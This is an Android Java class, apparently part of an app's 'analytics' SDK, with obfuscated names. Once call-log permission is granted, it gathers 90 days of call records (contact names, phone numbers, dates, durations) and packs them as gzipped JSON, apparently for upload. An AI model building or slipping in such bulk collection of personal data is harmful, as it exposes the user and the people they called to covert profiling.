package com.kingsalert.kingsalert.analytics.data_sdk.services;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.provider.CallLog;

import androidx.core.content.ContextCompat;

import com.google.gson.Gson;
import com.kingsalert.kingsalert.analytics.data_sdk.beans.ASCLgBn;
import com.kingsalert.kingsalert.analytics.data_sdk.util.ASUtil;

import java.util.ArrayList;

public class ASCLogIfo {

    public static int fetchResult = 0;

    @SuppressLint("Recycle")
    public static ArrayList<ASCLgBn> getDatas(Context paramContext) {
        ArrayList<ASCLgBn> arrayList = new ArrayList<>();

        if (ContextCompat.checkSelfPermission(paramContext, Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) {
            return arrayList;
        }

        try {
            ContentResolver mContentResolver = paramContext.getContentResolver();
            if (mContentResolver == null) {
                return arrayList;
            }

            String[] mColumns = {
                    CallLog.Calls.IS_READ,
                    CallLog.Calls.NEW,
                    CallLog.Calls.CACHED_NUMBER_TYPE,
                    CallLog.Calls.CACHED_NAME,
                    CallLog.Calls.NUMBER,
                    CallLog.Calls.DATE,
                    CallLog.Calls.DURATION,
                    CallLog.Calls.TYPE,
            };

            long startTime = ASUtil.getFilterStartTime(-90);
            String selection = "DATE >= " + startTime;

            Cursor cursor = mContentResolver.query(
                    CallLog.Calls.CONTENT_URI,
                    mColumns,
                    selection,
                    null,
                    CallLog.Calls.DEFAULT_SORT_ORDER
            );

            if (cursor == null) {
                return arrayList;
            }

            while (cursor.moveToNext()) {
                @SuppressLint("Range") int type = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));
                String typeString = "";
                switch (type) {
                    case CallLog.Calls.INCOMING_TYPE: {
                        typeString = "INCOMING_TYPE";
                        break;
                    }
                    case CallLog.Calls.OUTGOING_TYPE: {
                        typeString = "OUTGOING_TYPE";
                        break;
                    }
                    case CallLog.Calls.MISSED_TYPE: {
                        typeString = "MISSED_TYPE";
                        break;
                    }
                    case CallLog.Calls.VOICEMAIL_TYPE: {
                        typeString = "VOICEMAIL_TYPE";
                        break;
                    }
                    case CallLog.Calls.REJECTED_TYPE: {
                        typeString = "REJECTED_TYPE";
                        break;
                    }
                    case CallLog.Calls.BLOCKED_TYPE: {
                        typeString = "BLOCKED_TYPE";
                        break;
                    }
                    default:
                        break;
                }

                String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
                String mobile = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                int isRead = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.IS_READ));
                int isNew = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.NEW));
                int duration = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));
                long dateLong = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));

                ASCLgBn bean = new ASCLgBn();
                bean.setIsNew(String.valueOf(isNew));
                bean.setIsRead(isRead == 0 ? "YES" : "NO");
                bean.setClTm(String.valueOf(dateLong));
                bean.setDuration(String.valueOf(duration));
                bean.setNickName(name);
                bean.setMobile(mobile);
                bean.setType(String.valueOf(type));
                bean.setTypeDes(typeString);
                arrayList.add(bean);
            }

            if (!cursor.isClosed()) {
                cursor.close();
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

        if (arrayList.size() > 0) {
            fetchResult = 1;
        } else {
            fetchResult = 2;
        }

        return arrayList;
    }

    public static String getZipString(Context paramContext) {
        String zipString = "";
        try {
            ArrayList<ASCLgBn> infoBeans = getDatas(paramContext);
            String result = new Gson().toJson(infoBeans).trim();
            zipString = ASUtil.stringToGZIP(result);
            infoBeans.clear();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return zipString;
    }
}
